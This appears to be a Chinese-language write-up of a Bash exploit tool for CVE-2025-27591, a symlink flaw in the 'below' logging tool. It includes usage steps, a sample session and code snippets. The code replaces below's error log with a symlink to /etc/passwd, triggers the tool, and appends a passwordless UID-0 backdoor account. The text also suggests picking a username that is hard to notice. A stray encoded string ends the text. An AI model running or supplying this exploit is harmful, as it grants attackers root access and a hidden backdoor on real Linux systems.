CVE-2025-27591:利用Below日志符号链接漏洞实现权限提升

4 阅读5分钟

CVE-2025-27591 Exploit - Below Logger Symlink Attack

项目标题与描述

CVE-2025-27591 Below日志符号链接攻击利用工具

本项目是一个基于Bash的权限提升漏洞利用脚本,专门针对Facebook开发的系统性能监控工具below。该工具利用below在日志记录机制中存在的一个符号链接漏洞(CVE-2025-27591),通过向/etc/passwd文件注入具有root权限的用户条目,从而获取完整的root系统访问权限。

该漏洞由Matthias Gerstney发现并报告给SUSE安全团队。

功能特性

根据代码分析,本利用工具具有以下核心功能:

  • 自动化漏洞检测:自动检查目标系统上/var/log/below日志目录是否全局可写,这是漏洞存在的必要条件。
  • 符号链接创建与管理:自动删除可能存在的旧日志文件,并创建从/var/log/below/error_root.log/etc/passwd的符号链接。
  • 权限提升注入:通过触发below record命令产生错误日志,该日志会被写入符号链接指向的/etc/passwd文件。脚本随后会手动向/etc/passwd文件尾部追加一个精心构造的用户行,该用户具有root权限(UID=0)和空密码,从而实现提权。
  • 智能回退与清理:包含失败重试机制(如below命令不存在时的回退方案),并在利用成功后提供清理已添加用户的指导。
  • 详细流程输出:脚本执行过程中会输出详细的步骤说明、状态检查和利用结果,方便用户了解执行进度。

安装指南

此项目为独立的Bash脚本利用工具,无需复杂的安装过程。

系统要求与依赖项:

  1. 操作系统:基于Linux的系统(因为利用了特定的路径/etc/passwd/var/log/below)。
  2. 目标环境:系统中必须安装了存在漏洞版本的below工具,并且其日志目录/var/log/below的权限设置不当(全局可写)。
  3. 脚本解释器:需要bash环境来执行脚本。
  4. 必要权限:执行脚本的用户需要具备在/var/log/below目录下创建和删除文件的权限(这通常意味着该目录是全局可写的)。
  5. 工具依赖:脚本尝试使用below命令来触发漏洞,并使用了sudouseradd等系统命令进行权限检查和用户管理。

“安装”步骤: 实际上,你只需要获取脚本文件并确保其具有可执行权限即可。

# 1. 克隆或下载脚本文件(假设文件名为 exploit.sh)
# 2. 赋予脚本执行权限
chmod +x exploit.sh
# 3. 在存在漏洞的环境中执行
./exploit.sh

重要警告:此脚本仅用于授权下的安全测试、教育和研究目的。在未经许可的系统上使用是非法且不道德的。

使用说明

执行脚本后,它会引导你完成整个利用过程。

  1. 启动脚本:在终端中运行脚本。
  2. 提供用户名:脚本首先会提示你输入一个用于提权的用户名。你可以选择一个不容易被注意到的名字。
  3. 自动化检测与利用:脚本随后会自动执行以下步骤:
    • 检查漏洞存在的条件(日志目录权限)。
    • 创建必要的符号链接。
    • 尝试触发below记录错误。
    • /etc/passwd文件注入具有root权限的用户。
  4. 获取Root Shell:如果利用成功,脚本会显示如何使用新创建的用户通过su命令切换到root权限。
  5. 清理(手动):脚本在最后会提示你,成功提权后需要手动编辑/etc/passwd文件,删除添加的那一行以进行清理。

典型使用场景代码片段提示:

脚本运行后,你会看到类似以下的交互过程(具体输出取决于脚本内容):

$ ./exploit.sh
[+] Welcome to the CVE-2025-27591 exploit!
[?] Please enter your desired backdoor username: testroot
[+] Checking if /var/log/below is world-writable...
[+] Directory is vulnerable!
[+] Removing existing error_root.log...
[+] Creating symlink from error_root.log to /etc/passwd...
[+] Triggering below record to write to symlink...
[+] Manually injecting user entry into /etc/passwd...
[+] Exploit successful! User 'testroot' added with UID 0.
[+] Spawn root shell with: su testroot
[!] Remember to remove the added line from /etc/passwd after exploitation.

核心代码

由于提供的代码片段不完整,无法展示完整的核心代码及其注释。但根据项目描述和功能分析,其核心逻辑主要围绕以下几个关键操作,我们可以用伪代码和说明来概括:

1. 漏洞条件检查

# 检查日志目录是否全局可写,这是攻击的前提
if [ -w /var/log/below ] && [ $(stat -c %a /var/log/below) -ge 722 ]; then
    echo "[+] Directory is vulnerable!"
else
    echo "[-] Exploit condition not met. Exiting."
    exit 1
fi

2. 创建符号链接

# 移除可能存在的旧日志文件,创建指向/etc/passwd的符号链接
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
# 验证链接是否创建成功
if [ -L /var/log/below/error_root.log ]; then
    echo "[+] Symlink created successfully."
fi

3. 触发漏洞并注入用户

# 尝试运行below命令以触发错误日志写入(写入符号链接指向的/etc/passwd)
below record 2>/dev/null || true

# 关键步骤:手动向/etc/passwd文件尾部追加一个root用户条目
# 格式:username:password:UID:GID:comment:home:shell
# 这里使用“::”表示空密码字段,UID为0表示root权限。
echo "$BACKDOOR_USER::0:0::/root:/bin/bash" >> /etc/passwd
echo "[+] User '$BACKDOOR_USER' injected into /etc/passwd with UID 0."

4. 提权与清理提示

# 提示用户如何使用新创建的用户获得root shell
echo "[+] To gain root access, run: su $BACKDOOR_USER"
# 在密码提示符下直接按回车(因为密码字段为空)。
echo "[!] IMPORTANT: After successful exploitation, manually edit /etc/passwd to remove the line for '$BACKDOOR_USER'."

代码注释要点

  • 实际的脚本应该包含详细的注释,解释每个步骤的目的,例如:“# 创建符号链接,将日志错误重定向到系统密码文件”。
  • 应该包含错误处理,例如检查ln -secho >>命令是否执行成功。
  • 可能包含对below命令是否存在的检查,并提供替代的触发方法(如直接向文件写入特定内容模拟错误日志)。 6HFtX5dABrKlqXeO5PUv/9bhuFNUCg+u49PD61kHBnrwPPyofXGUNXhJ6l7AddsFDFtkcTtjRSv8RaXpQxzLag==